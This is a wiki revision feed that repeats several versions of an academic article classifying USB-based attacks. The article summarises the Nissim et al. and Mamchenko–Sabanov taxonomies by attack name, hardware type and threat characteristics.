Since the upcoming of USB in 1995 &amp;lt;ref&amp;gt;{{cite web |url=https://spectrum.ieee.org/how-usb-came-to-be |title=How USB Came to Be Intel’s 26-year-old plug-and-play tech made it easy to connect everything v2.0 |date=Februar 22, 2022 |publisher=IEEE Spektrum |access-date=22 September 2023}}&amp;lt;/ref&amp;gt;, attackers have used USB peripherals to launch a variety of cyber-attacks, exploiting the vulnerabilities and properties of these devices. This article provides an overview of how the variety of existing USB attacks can be categorized through the USB attack taxonomy. For indepth details, please refer to the respective work.&lt;br /&gt;
&lt;br /&gt;
== Goal of an USB Attack Taxonomy ==&lt;br /&gt;
&lt;br /&gt;
Though there are plenty of publications, including threat models and analysis, attacks taxonomy hasn’t been much of a goal of investigations. Many of those investigations refer to cyber-attacks in whole, whereas USB-based attacks remain unreviewed. Providing a comprehensive classification in regard to USB attacks allows to assess the qualification and equipment level of the adversary or group of adversaries, predict potential consequences, estimate possible attack vectors and even identify adversary’s probable affiliation with a specific group/groups according to attack aspects. Furthermore it can be useful in developing appropriate security mechanisms - both prevention and detection - against these attacks.&lt;br /&gt;
&lt;br /&gt;
== Types of USB Attack Taxonomies ==&lt;br /&gt;
&lt;br /&gt;
=== Categorization based on the Hardware Required ===&lt;br /&gt;
&lt;br /&gt;
2017 Nissim et.al. reviewed 29 different USB-based attacks and utilized a new taxonomy to classify them into four major categories. For each attack, the objective it achieves was addressed and the associated and vulnerable USB peripherals and hardware identified. In Fig. 1 and 2 the authors presented a taxonomy based on the USB hardware required for executing the attacks.&lt;br /&gt;
&lt;br /&gt;
[[File:Nissim_4categories.jpg|thumb|Fig.1: A taxonomy of USB-based attacks, categorized based on the hardware&lt;br /&gt;
required to execute the attacks]]&lt;br /&gt;
&lt;br /&gt;
Fig. 1 presents three major categories:&lt;br /&gt;
&lt;br /&gt;
A. programmable microcontrollers&amp;lt;br /&amp;gt;&lt;br /&gt;
B. the common USB peripheral devices that can be found in most organizations and households&amp;lt;br /&amp;gt;&lt;br /&gt;
 B1. devices whose firmware was maliciously modified in order to perform the attack&amp;lt;br /&amp;gt;&lt;br /&gt;
 B2. devices that do not require firmware modification&amp;lt;br /&amp;gt;&lt;br /&gt;
C. crafted devices composed only from electrical hardware components&lt;br /&gt;
&lt;br /&gt;
Underneath lists the attacks covered by Nissim et.al.’s survey, their year of publication and relevance to the categories and taxonomy presented in Fig.1:&lt;br /&gt;
&lt;br /&gt;
A. Programmable microcontrollers:&lt;br /&gt;
# Rubber Ducky - 2010 &lt;br /&gt;
# PHUKD/URFUKED - 2010 &lt;br /&gt;
# USBdriveby - 2014 &lt;br /&gt;
# Evilduino - 2014 &lt;br /&gt;
# Unintended USB channels - 2011 &lt;br /&gt;
# TURNIPSCHOOL (COTTONMOUTH-1) - 2015 &lt;br /&gt;
# RIT attack via USB mass storage - 2012 &lt;br /&gt;
# Attackson wireless USB dongles - 2015 &lt;br /&gt;
# Default gateway override - 2014 &lt;br /&gt;
B1. Devices whose firmware was maliciously modified in order to perform the attack:&lt;br /&gt;
# Smartphone based HID attacks - 2010 &lt;br /&gt;
# DNS override by modified USB firmware - 2014 &lt;br /&gt;
# Keyboard emulation by modified USB firmware - 2014 &lt;br /&gt;
# Hidden partition patch - 2014 &lt;br /&gt;
# Password protection bypass patch - 2014 &lt;br /&gt;
# Virtual machine break-out -2014 &lt;br /&gt;
# Bootsectorvirus - 2014 &lt;br /&gt;
# iSeeYou: Disabling the MacBook webcam indicator LED - 2014 &lt;br /&gt;
B2. Devices that do not require firmware modification:&lt;br /&gt;
# .LNK Stuxnet/Fanny USB flash drive exploit (Shell extension exploits) - 2010 &lt;br /&gt;
# USB Backdoor into air-gapped hosts - 2014 &lt;br /&gt;
# Data hiding on USB mass storage - 2010 &lt;br /&gt;
# Autorun exploits - 2005&lt;br /&gt;
# Cold boot - 2008&lt;br /&gt;
# Buffer overflow - 2005&lt;br /&gt;
# Driver update - 2011 &lt;br /&gt;
# Device firmware upgrade (DFU) - 2014 &lt;br /&gt;
# USB Thief - 2016 &lt;br /&gt;
# Attacks on smartphones via the USB port - 2010 &lt;br /&gt;
# USBee attack - 2016&lt;br /&gt;
C. Crafted devices composed only from electrical hardware components:&lt;br /&gt;
# USB Killer&lt;br /&gt;
&lt;br /&gt;
Furtheron, the attacks were summerzied in a table, weather each was associated to:&lt;br /&gt;
* &amp;quot;USB Peripheral (keyboard, mouse, storage, smartphone, speaker, camera)&amp;quot;, were some devices underwent malicious firmware modification, and/or&lt;br /&gt;
* &amp;quot;Persona of USB Connected Microcontroller (keyboard, mouse, storage, smartphone, speaker, network adapter, cable)&amp;quot;, refering to the type of device emulated by a USB connected programmable microcontroller, often disguised by an external casing of an innocuous USB device&lt;br /&gt;
&lt;br /&gt;
The table made visible, that the peripheral by which more than 51% of the 29 attacks can be carried out is the USB storage device, followed by the keyboard device and microcontrollers that impersonate a keyboard.&lt;br /&gt;
&lt;br /&gt;
=== Categorization based on Attack Characteristics ===&lt;br /&gt;
&lt;br /&gt;
2019 Mamchenko and Sabanov collected already existing taxonomy, based on general cyberthreat models, some of them including USB, see Fig.3.&lt;br /&gt;
[[File:Machenko.jpg|500px|thumb|center|Fig.3: Analyzed cyberattacks and USB-based attacks taxonomies by Mamchenko and Sabanov (2019)]]&lt;br /&gt;
&lt;br /&gt;
Based on the collection they created a more complete, enhanced taxonomy. Other than the taxonomy in Nissim et.al., each category reflects one way of categorizing a certain attack within that given category. It is listed as follows:&amp;lt;br /&amp;gt;&lt;br /&gt;
Attack:&lt;br /&gt;
&amp;lt;div style=&amp;quot;columns: 3;&amp;gt;&lt;br /&gt;
# Source of Threat&lt;br /&gt;
## outsider threats;&lt;br /&gt;
## insider threats.&lt;br /&gt;
# Level of Complexity&lt;br /&gt;
## no special training required;&lt;br /&gt;
## of intermediate complexity;&lt;br /&gt;
## complex.&lt;br /&gt;
# Level of Secrecy&lt;br /&gt;
## very hard to be detected;&lt;br /&gt;
## covert;&lt;br /&gt;
## not-to-be-hidden.&lt;br /&gt;
# Attack Mechanism&lt;br /&gt;
## code injection;&lt;br /&gt;
## data extraction;&lt;br /&gt;
## protocol masquerading;&lt;br /&gt;
## protocol corruption&lt;br /&gt;
## signal eavesdropping;&lt;br /&gt;
## signal injection.&lt;br /&gt;
# Object of Impact&lt;br /&gt;
## operation systems and system software/drivers;&lt;br /&gt;
## servers;&lt;br /&gt;
## hardware;&lt;br /&gt;
## applications;&lt;br /&gt;
## mobile technology devices;&lt;br /&gt;
## user data;&lt;br /&gt;
## networks.&lt;br /&gt;
# Adversary Intensions&lt;br /&gt;
## to steal data;&lt;br /&gt;
## to modify data;&lt;br /&gt;
## to delete information;&lt;br /&gt;
## to destroy hardware;&lt;br /&gt;
## to gain access to system resources;&lt;br /&gt;
## to cause malfunctions/DOS.&lt;br /&gt;
# Impact Layer&lt;br /&gt;
## human;&lt;br /&gt;
## application;&lt;br /&gt;
## transport;&lt;br /&gt;
## physical.&lt;br /&gt;
# Assets&lt;br /&gt;
## programmable microcontrollers;&lt;br /&gt;
## maliciously reprogrammed peripherals;&lt;br /&gt;
## not re-programmed peripherals;&lt;br /&gt;
## electrical devices;&lt;br /&gt;
## special hardware;&lt;br /&gt;
## malicious programs.&lt;br /&gt;
# Actions&lt;br /&gt;
## probe;&lt;br /&gt;
## scan;&lt;br /&gt;
## flood;&lt;br /&gt;
## authenticate;&lt;br /&gt;
## bypass;&lt;br /&gt;
## spoof;&lt;br /&gt;
## read;&lt;br /&gt;
## copy;&lt;br /&gt;
## steal;&lt;br /&gt;
## modfy;&lt;br /&gt;
## delete;&lt;br /&gt;
## destroy hardware;&lt;br /&gt;
## eavesdrop;&lt;br /&gt;
## cause malfunction/DOS.&lt;br /&gt;
#Severity of Consequences&lt;br /&gt;
## disastrous effects;&lt;br /&gt;
## severe;&lt;br /&gt;
## intermedeate severity;&lt;br /&gt;
## irresponsible.&lt;br /&gt;
# Type of Damage from Attack&lt;br /&gt;
## physical;&lt;br /&gt;
## psychological;&lt;br /&gt;
## economic;&lt;br /&gt;
## political;&lt;br /&gt;
## reputational.&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Further Reading ==&lt;br /&gt;
&lt;br /&gt;
* Chengzhi Sun, Jiyu Lu, and Yunqing Liu. Analysis and prevention of information security of usb. In 2021 International Conference on Electronic Information Engineering and Computer Science (EIECS), pages 25–32, 2021.&lt;br /&gt;
* Jianming Fu, Jianwei Huang, and Lanxin Zhang. Curtain: Keep your hosts away from usb attacks. In Phong Q. Nguyen and Jianying Zhou, editors, Information Security, pages 455–471, Cham, 2017. Springer International Publishing.&lt;br /&gt;
* Mark Mamchenko and Alexey Sabanov. Exploring the taxonomy of usb-based attacks. In 2019 Twelfth International Conference ”Management of large-scale system development” (MLSD), pages 1–4, 2019.&lt;br /&gt;
* Nir Nissim, Ran Yahalom, and Yuval Elovici. Usb-based attacks. Computers &amp;amp; Security, 70:675–688, 2017.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
{{Reflist}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>TLee</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=USB_Attack_Taxonomy&amp;diff=16631</id>
		<title>USB Attack Taxonomy</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=USB_Attack_Taxonomy&amp;diff=16631"/>
		<updated>2024-12-04T14:06:18Z</updated>

		<summary type="html">&lt;p&gt;TLee: /* Introduction */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Introduction == &lt;br /&gt;
&lt;br /&gt;
Since the upcoming of USB in 1995 &amp;lt;ref&amp;gt;{{cite web |url=https://spectrum.ieee.org/how-usb-came-to-be |title=How USB Came to Be Intel’s 26-year-old plug-and-play tech made it easy to connect everything v2.0 |date=Februar 22, 2022 |publisher=IEEE Spektrum |access-date=22 September 2023}}&amp;lt;/ref&amp;gt;, attackers have used USB peripherals to launch a variety of cyber-attacks, exploiting the vulnerabilities and properties of these devices. This article provides an overview of how the variety of existing USB attacks can be categorized through the USB attack taxonomy. For indepth details, please refer to the respective articles. For the introduced taxonomies the most profound and up-to-date taxonomies in regard to USB were selected by 11th November 2024.&lt;br /&gt;
&lt;br /&gt;
== Goal of an USB Attack Taxonomy ==&lt;br /&gt;
&lt;br /&gt;
Though there are plenty of publications, including threat models and analysis, attacks taxonomy hasn’t been much of a goal of investigations. Many of those investigations refer to cyber-attacks in whole, whereas USB-based attacks remain unreviewed. Providing a comprehensive classification in regard to USB attacks allows to assess the qualification and equipment level of the adversary or group of adversaries, predict potential consequences, estimate possible attack vectors and even identify adversary’s probable affiliation with a specific group/groups according to attack aspects. Furthermore it can be useful in developing appropriate security mechanisms - both prevention and detection - against these attacks.&lt;br /&gt;
&lt;br /&gt;
== Categorization based on the Hardware Required ==&lt;br /&gt;
&lt;br /&gt;
2017 Nissim et.al. reviewed 29 different USB-based attacks and utilized a new taxonomy to classify them into four major categories. For each attack, the objective it achieves was addressed and the associated and vulnerable USB peripherals and hardware identified. In Fig. 1 and 2 the authors presented a taxonomy based on the USB hardware required for executing the attacks.&lt;br /&gt;
&lt;br /&gt;
[[File:Nissim_4categories.jpg|thumb|Fig.1: A taxonomy of USB-based attacks, categorized based on the hardware&lt;br /&gt;
required to execute the attacks]]&lt;br /&gt;
&lt;br /&gt;
Fig. 1 presents three major categories:&lt;br /&gt;
&lt;br /&gt;
A. programmable microcontrollers&amp;lt;br /&amp;gt;&lt;br /&gt;
B. the common USB peripheral devices that can be found in most organizations and households&amp;lt;br /&amp;gt;&lt;br /&gt;
 B1. devices whose firmware was maliciously modified in order to perform the attack&amp;lt;br /&amp;gt;&lt;br /&gt;
 B2. devices that do not require firmware modification&amp;lt;br /&amp;gt;&lt;br /&gt;
C. crafted devices composed only from electrical hardware components&lt;br /&gt;
&lt;br /&gt;
Underneath lists the attacks covered by Nissim et.al.’s survey, their year of publication and relevance to the categories and taxonomy presented in Fig.1:&lt;br /&gt;
&lt;br /&gt;
A. Programmable microcontrollers:&lt;br /&gt;
# Rubber Ducky - 2010 &lt;br /&gt;
# PHUKD/URFUKED - 2010 &lt;br /&gt;
# USBdriveby - 2014 &lt;br /&gt;
# Evilduino - 2014 &lt;br /&gt;
# Unintended USB channels - 2011 &lt;br /&gt;
# TURNIPSCHOOL (COTTONMOUTH-1) - 2015 &lt;br /&gt;
# RIT attack via USB mass storage - 2012 &lt;br /&gt;
# Attackson wireless USB dongles - 2015 &lt;br /&gt;
# Default gateway override - 2014 &lt;br /&gt;
B1. Devices whose firmware was maliciously modified in order to perform the attack:&lt;br /&gt;
# Smartphone based HID attacks - 2010 &lt;br /&gt;
# DNS override by modified USB firmware - 2014 &lt;br /&gt;
# Keyboard emulation by modified USB firmware - 2014 &lt;br /&gt;
# Hidden partition patch - 2014 &lt;br /&gt;
# Password protection bypass patch - 2014 &lt;br /&gt;
# Virtual machine break-out -2014 &lt;br /&gt;
# Bootsectorvirus - 2014 &lt;br /&gt;
# iSeeYou: Disabling the MacBook webcam indicator LED - 2014 &lt;br /&gt;
B2. Devices that do not require firmware modification:&lt;br /&gt;
# .LNK Stuxnet/Fanny USB flash drive exploit (Shell extension exploits) - 2010 &lt;br /&gt;
# USB Backdoor into air-gapped hosts - 2014 &lt;br /&gt;
# Data hiding on USB mass storage - 2010 &lt;br /&gt;
# Autorun exploits - 2005&lt;br /&gt;
# Cold boot - 2008&lt;br /&gt;
# Buffer overflow - 2005&lt;br /&gt;
# Driver update - 2011 &lt;br /&gt;
# Device firmware upgrade (DFU) - 2014 &lt;br /&gt;
# USB Thief - 2016 &lt;br /&gt;
# Attacks on smartphones via the USB port - 2010 &lt;br /&gt;
# USBee attack - 2016&lt;br /&gt;
C. Crafted devices composed only from electrical hardware components:&lt;br /&gt;
# USB Killer&lt;br /&gt;
&lt;br /&gt;
Furtheron, the attacks were summerzied in a table, weather each was associated to:&lt;br /&gt;
* &amp;quot;USB Peripheral (keyboard, mouse, storage, smartphone, speaker, camera)&amp;quot;, were some devices underwent malicious firmware modification, and/or&lt;br /&gt;
* &amp;quot;Persona of USB Connected Microcontroller (keyboard, mouse, storage, smartphone, speaker, network adapter, cable)&amp;quot;, refering to the type of device emulated by a USB connected programmable microcontroller, often disguised by an external casing of an innocuous USB device&lt;br /&gt;
&lt;br /&gt;
The table made visible, that the peripheral by which more than 51% of the 29 attacks can be carried out is the USB storage device, followed by the keyboard device and microcontrollers that impersonate a keyboard.&lt;br /&gt;
&lt;br /&gt;
== Categorization based on Attack Characteristics ==&lt;br /&gt;
&lt;br /&gt;
2019 Mamchenko and Sabanov collected already existing taxonomy, based on general cyberthreat models, some of them including USB, see Fig.3.&lt;br /&gt;
[[File:Machenko.jpg|500px|thumb|center|Fig.3: Analyzed cyberattacks and USB-based attacks taxonomies by Mamchenko and Sabanov (2019)]]&lt;br /&gt;
&lt;br /&gt;
Based on the collection they created a more complete, enhanced taxonomy. Other than the taxonomy in Nissim et.al., each category reflects one way of categorizing a certain attack within that given category. It is listed as follows:&amp;lt;br /&amp;gt;&lt;br /&gt;
Attack:&lt;br /&gt;
&amp;lt;div style=&amp;quot;columns: 3;&amp;gt;&lt;br /&gt;
# Source of Threat&lt;br /&gt;
## outsider threats;&lt;br /&gt;
## insider threats.&lt;br /&gt;
# Level of Complexity&lt;br /&gt;
## no special training required;&lt;br /&gt;
## of intermediate complexity;&lt;br /&gt;
## complex.&lt;br /&gt;
# Level of Secrecy&lt;br /&gt;
## very hard to be detected;&lt;br /&gt;
## covert;&lt;br /&gt;
## not-to-be-hidden.&lt;br /&gt;
# Attack Mechanism&lt;br /&gt;
## code injection;&lt;br /&gt;
## data extraction;&lt;br /&gt;
## protocol masquerading;&lt;br /&gt;
## protocol corruption&lt;br /&gt;
## signal eavesdropping;&lt;br /&gt;
## signal injection.&lt;br /&gt;
# Object of Impact&lt;br /&gt;
## operation systems and system software/drivers;&lt;br /&gt;
## servers;&lt;br /&gt;
## hardware;&lt;br /&gt;
## applications;&lt;br /&gt;
## mobile technology devices;&lt;br /&gt;
## user data;&lt;br /&gt;
## networks.&lt;br /&gt;
# Adversary Intensions&lt;br /&gt;
## to steal data;&lt;br /&gt;
## to modify data;&lt;br /&gt;
## to delete information;&lt;br /&gt;
## to destroy hardware;&lt;br /&gt;
## to gain access to system resources;&lt;br /&gt;
## to cause malfunctions/DOS.&lt;br /&gt;
# Impact Layer&lt;br /&gt;
## human;&lt;br /&gt;
## application;&lt;br /&gt;
## transport;&lt;br /&gt;
## physical.&lt;br /&gt;
# Assets&lt;br /&gt;
## programmable microcontrollers;&lt;br /&gt;
## maliciously reprogrammed peripherals;&lt;br /&gt;
## not re-programmed peripherals;&lt;br /&gt;
## electrical devices;&lt;br /&gt;
## special hardware;&lt;br /&gt;
## malicious programs.&lt;br /&gt;
# Actions&lt;br /&gt;
## probe;&lt;br /&gt;
## scan;&lt;br /&gt;
## flood;&lt;br /&gt;
## authenticate;&lt;br /&gt;
## bypass;&lt;br /&gt;
## spoof;&lt;br /&gt;
## read;&lt;br /&gt;
## copy;&lt;br /&gt;
## steal;&lt;br /&gt;
## modfy;&lt;br /&gt;
## delete;&lt;br /&gt;
## destroy hardware;&lt;br /&gt;
## eavesdrop;&lt;br /&gt;
## cause malfunction/DOS.&lt;br /&gt;
#Severity of Consequences&lt;br /&gt;
## disastrous effects;&lt;br /&gt;
## severe;&lt;br /&gt;
## intermedeate severity;&lt;br /&gt;
## irresponsible.&lt;br /&gt;
# Type of Damage from Attack&lt;br /&gt;
## physical;&lt;br /&gt;
## psychological;&lt;br /&gt;
## economic;&lt;br /&gt;
## political;&lt;br /&gt;
## reputational.&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Further Reading ==&lt;br /&gt;
&lt;br /&gt;
* Chengzhi Sun, Jiyu Lu, and Yunqing Liu. Analysis and prevention of information security of usb. In 2021 International Conference on Electronic Information Engineering and Computer Science (EIECS), pages 25–32, 2021.&lt;br /&gt;
* Jianming Fu, Jianwei Huang, and Lanxin Zhang. Curtain: Keep your hosts away from usb attacks. In Phong Q. Nguyen and Jianying Zhou, editors, Information Security, pages 455–471, Cham, 2017. Springer International Publishing.&lt;br /&gt;
* Mark Mamchenko and Alexey Sabanov. Exploring the taxonomy of usb-based attacks. In 2019 Twelfth International Conference ”Management of large-scale system development” (MLSD), pages 1–4, 2019.&lt;br /&gt;
* Nir Nissim, Ran Yahalom, and Yuval Elovici. Usb-based attacks. Computers &amp;amp; Security, 70:675–688, 2017.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
{{Reflist}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>TLee</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=USB_Attack_Taxonomy&amp;diff=16630</id>
		<title>USB Attack Taxonomy</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=USB_Attack_Taxonomy&amp;diff=16630"/>
		<updated>2024-12-04T13:51:15Z</updated>

		<summary type="html">&lt;p&gt;TLee: /* Introduction */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Introduction == &lt;br /&gt;
&lt;br /&gt;
Since the upcoming of USB in 1995 &amp;lt;ref&amp;gt;{{cite web |url=https://spectrum.ieee.org/how-usb-came-to-be |title=How USB Came to Be Intel’s 26-year-old plug-and-play tech made it easy to connect everything v2.0 |date=Februar 22, 2022 |publisher=IEEE Spektrum |access-date=22 September 2023}}&amp;lt;/ref&amp;gt;, attackers have used USB peripherals to launch a variety of cyber-attacks, exploiting the vulnerabilities and properties of these devices. This article provides an overview of how the variety of existing USB attacks can be categorized through the USB attack taxonomy. For indepth details, please refer to the respective articles.&lt;br /&gt;
&lt;br /&gt;
== Goal of an USB Attack Taxonomy ==&lt;br /&gt;
&lt;br /&gt;
Though there are plenty of publications, including threat models and analysis, attacks taxonomy hasn’t been much of a goal of investigations. Many of those investigations refer to cyber-attacks in whole, whereas USB-based attacks remain unreviewed. Providing a comprehensive classification in regard to USB attacks allows to assess the qualification and equipment level of the adversary or group of adversaries, predict potential consequences, estimate possible attack vectors and even identify adversary’s probable affiliation with a specific group/groups according to attack aspects. Furthermore it can be useful in developing appropriate security mechanisms - both prevention and detection - against these attacks.&lt;br /&gt;
&lt;br /&gt;
== Categorization based on the Hardware Required ==&lt;br /&gt;
&lt;br /&gt;
2017 Nissim et.al. reviewed 29 different USB-based attacks and utilized a new taxonomy to classify them into four major categories. For each attack, the objective it achieves was addressed and the associated and vulnerable USB peripherals and hardware identified. In Fig. 1 and 2 the authors presented a taxonomy based on the USB hardware required for executing the attacks.&lt;br /&gt;
&lt;br /&gt;
[[File:Nissim_4categories.jpg|thumb|Fig.1: A taxonomy of USB-based attacks, categorized based on the hardware&lt;br /&gt;
required to execute the attacks]]&lt;br /&gt;
&lt;br /&gt;
Fig. 1 presents three major categories:&lt;br /&gt;
&lt;br /&gt;
A. programmable microcontrollers&amp;lt;br /&amp;gt;&lt;br /&gt;
B. the common USB peripheral devices that can be found in most organizations and households&amp;lt;br /&amp;gt;&lt;br /&gt;
 B1. devices whose firmware was maliciously modified in order to perform the attack&amp;lt;br /&amp;gt;&lt;br /&gt;
 B2. devices that do not require firmware modification&amp;lt;br /&amp;gt;&lt;br /&gt;
C. crafted devices composed only from electrical hardware components&lt;br /&gt;
&lt;br /&gt;
Underneath lists the attacks covered by Nissim et.al.’s survey, their year of publication and relevance to the categories and taxonomy presented in Fig.1:&lt;br /&gt;
&lt;br /&gt;
A. Programmable microcontrollers:&lt;br /&gt;
# Rubber Ducky - 2010 &lt;br /&gt;
# PHUKD/URFUKED - 2010 &lt;br /&gt;
# USBdriveby - 2014 &lt;br /&gt;
# Evilduino - 2014 &lt;br /&gt;
# Unintended USB channels - 2011 &lt;br /&gt;
# TURNIPSCHOOL (COTTONMOUTH-1) - 2015 &lt;br /&gt;
# RIT attack via USB mass storage - 2012 &lt;br /&gt;
# Attackson wireless USB dongles - 2015 &lt;br /&gt;
# Default gateway override - 2014 &lt;br /&gt;
B1. Devices whose firmware was maliciously modified in order to perform the attack:&lt;br /&gt;
# Smartphone based HID attacks - 2010 &lt;br /&gt;
# DNS override by modified USB firmware - 2014 &lt;br /&gt;
# Keyboard emulation by modified USB firmware - 2014 &lt;br /&gt;
# Hidden partition patch - 2014 &lt;br /&gt;
# Password protection bypass patch - 2014 &lt;br /&gt;
# Virtual machine break-out -2014 &lt;br /&gt;
# Bootsectorvirus - 2014 &lt;br /&gt;
# iSeeYou: Disabling the MacBook webcam indicator LED - 2014 &lt;br /&gt;
B2. Devices that do not require firmware modification:&lt;br /&gt;
# .LNK Stuxnet/Fanny USB flash drive exploit (Shell extension exploits) - 2010 &lt;br /&gt;
# USB Backdoor into air-gapped hosts - 2014 &lt;br /&gt;
# Data hiding on USB mass storage - 2010 &lt;br /&gt;
# Autorun exploits - 2005&lt;br /&gt;
# Cold boot - 2008&lt;br /&gt;
# Buffer overflow - 2005&lt;br /&gt;
# Driver update - 2011 &lt;br /&gt;
# Device firmware upgrade (DFU) - 2014 &lt;br /&gt;
# USB Thief - 2016 &lt;br /&gt;
# Attacks on smartphones via the USB port - 2010 &lt;br /&gt;
# USBee attack - 2016&lt;br /&gt;
C. Crafted devices composed only from electrical hardware components:&lt;br /&gt;
# USB Killer&lt;br /&gt;
&lt;br /&gt;
Furtheron, the attacks were summerzied in a table, weather each was associated to:&lt;br /&gt;
* &amp;quot;USB Peripheral (keyboard, mouse, storage, smartphone, speaker, camera)&amp;quot;, were some devices underwent malicious firmware modification, and/or&lt;br /&gt;
* &amp;quot;Persona of USB Connected Microcontroller (keyboard, mouse, storage, smartphone, speaker, network adapter, cable)&amp;quot;, refering to the type of device emulated by a USB connected programmable microcontroller, often disguised by an external casing of an innocuous USB device&lt;br /&gt;
&lt;br /&gt;
The table made visible, that the peripheral by which more than 51% of the 29 attacks can be carried out is the USB storage device, followed by the keyboard device and microcontrollers that impersonate a keyboard.&lt;br /&gt;
&lt;br /&gt;
== Categorization based on Attack Characteristics ==&lt;br /&gt;
&lt;br /&gt;
2019 Mamchenko and Sabanov collected already existing taxonomy, based on general cyberthreat models, some of them including USB, see Fig.3.&lt;br /&gt;
[[File:Machenko.jpg|500px|thumb|center|Fig.3: Analyzed cyberattacks and USB-based attacks taxonomies by Mamchenko and Sabanov (2019)]]&lt;br /&gt;
&lt;br /&gt;
Based on the collection they created a more complete, enhanced taxonomy. Other than the taxonomy in Nissim et.al., each category reflects one way of categorizing a certain attack within that given category. It is listed as follows:&amp;lt;br /&amp;gt;&lt;br /&gt;
Attack:&lt;br /&gt;
&amp;lt;div style=&amp;quot;columns: 3;&amp;gt;&lt;br /&gt;
# Source of Threat&lt;br /&gt;
## outsider threats;&lt;br /&gt;
## insider threats.&lt;br /&gt;
# Level of Complexity&lt;br /&gt;
## no special training required;&lt;br /&gt;
## of intermediate complexity;&lt;br /&gt;
## complex.&lt;br /&gt;
# Level of Secrecy&lt;br /&gt;
## very hard to be detected;&lt;br /&gt;
## covert;&lt;br /&gt;
## not-to-be-hidden.&lt;br /&gt;
# Attack Mechanism&lt;br /&gt;
## code injection;&lt;br /&gt;
## data extraction;&lt;br /&gt;
## protocol masquerading;&lt;br /&gt;
## protocol corruption&lt;br /&gt;
## signal eavesdropping;&lt;br /&gt;
## signal injection.&lt;br /&gt;
# Object of Impact&lt;br /&gt;
## operation systems and system software/drivers;&lt;br /&gt;
## servers;&lt;br /&gt;
## hardware;&lt;br /&gt;
## applications;&lt;br /&gt;
## mobile technology devices;&lt;br /&gt;
## user data;&lt;br /&gt;
## networks.&lt;br /&gt;
# Adversary Intensions&lt;br /&gt;
## to steal data;&lt;br /&gt;
## to modify data;&lt;br /&gt;
## to delete information;&lt;br /&gt;
## to destroy hardware;&lt;br /&gt;
## to gain access to system resources;&lt;br /&gt;
## to cause malfunctions/DOS.&lt;br /&gt;
# Impact Layer&lt;br /&gt;
## human;&lt;br /&gt;
## application;&lt;br /&gt;
## transport;&lt;br /&gt;
## physical.&lt;br /&gt;
# Assets&lt;br /&gt;
## programmable microcontrollers;&lt;br /&gt;
## maliciously reprogrammed peripherals;&lt;br /&gt;
## not re-programmed peripherals;&lt;br /&gt;
## electrical devices;&lt;br /&gt;
## special hardware;&lt;br /&gt;
## malicious programs.&lt;br /&gt;
# Actions&lt;br /&gt;
## probe;&lt;br /&gt;
## scan;&lt;br /&gt;
## flood;&lt;br /&gt;
## authenticate;&lt;br /&gt;
## bypass;&lt;br /&gt;
## spoof;&lt;br /&gt;
## read;&lt;br /&gt;
## copy;&lt;br /&gt;
## steal;&lt;br /&gt;
## modfy;&lt;br /&gt;
## delete;&lt;br /&gt;
## destroy hardware;&lt;br /&gt;
## eavesdrop;&lt;br /&gt;
## cause malfunction/DOS.&lt;br /&gt;
#Severity of Consequences&lt;br /&gt;
## disastrous effects;&lt;br /&gt;
## severe;&lt;br /&gt;
## intermedeate severity;&lt;br /&gt;
## irresponsible.&lt;br /&gt;
# Type of Damage from Attack&lt;br /&gt;
## physical;&lt;br /&gt;
## psychological;&lt;br /&gt;
## economic;&lt;br /&gt;
## political;&lt;br /&gt;
## reputational.&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Further Reading ==&lt;br /&gt;
&lt;br /&gt;
* Chengzhi Sun, Jiyu Lu, and Yunqing Liu. Analysis and prevention of information security of usb. In 2021 International Conference on Electronic Information Engineering and Computer Science (EIECS), pages 25–32, 2021.&lt;br /&gt;
* Jianming Fu, Jianwei Huang, and Lanxin Zhang. Curtain: Keep your hosts away from usb attacks. In Phong Q. Nguyen and Jianying Zhou, editors, Information Security, pages 455–471, Cham, 2017. Springer International Publishing.&lt;br /&gt;
* Mark Mamchenko and Alexey Sabanov. Exploring the taxonomy of usb-based attacks. In 2019 Twelfth International Conference ”Management of large-scale system development” (MLSD), pages 1–4, 2019.&lt;br /&gt;
* Nir Nissim, Ran Yahalom, and Yuval Elovici. Usb-based attacks. Computers &amp;amp; Security, 70:675–688, 2017.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
{{Reflist}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>TLee</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=USB_Attack_Taxonomy&amp;diff=16629</id>
		<title>USB Attack Taxonomy</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=USB_Attack_Taxonomy&amp;diff=16629"/>
		<updated>2024-12-04T13:48:29Z</updated>

		<summary type="html">&lt;p&gt;TLee: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Introduction == &lt;br /&gt;
&lt;br /&gt;
Since the upcoming of USB in 1995 &amp;lt;ref&amp;gt;{{cite web |url=https://spectrum.ieee.org/how-usb-came-to-be |title=How USB Came to Be Intel’s 26-year-old plug-and-play tech made it easy to connect everything v2.0 |date=Februar 22, 2022 |publisher=IEEE Spektrum |access-date=22 September 2023}}&amp;lt;/ref&amp;gt;, attackers have used USB peripherals to launch a variety of cyber-attacks, exploiting the vulnerabilities and properties of these devices. This article provides an overview of how the variety of existing USB attacks can be categorized through the USB attack taxonomy. For indepth details, please refer to the respective work.&lt;br /&gt;
&lt;br /&gt;
== Goal of an USB Attack Taxonomy ==&lt;br /&gt;
&lt;br /&gt;
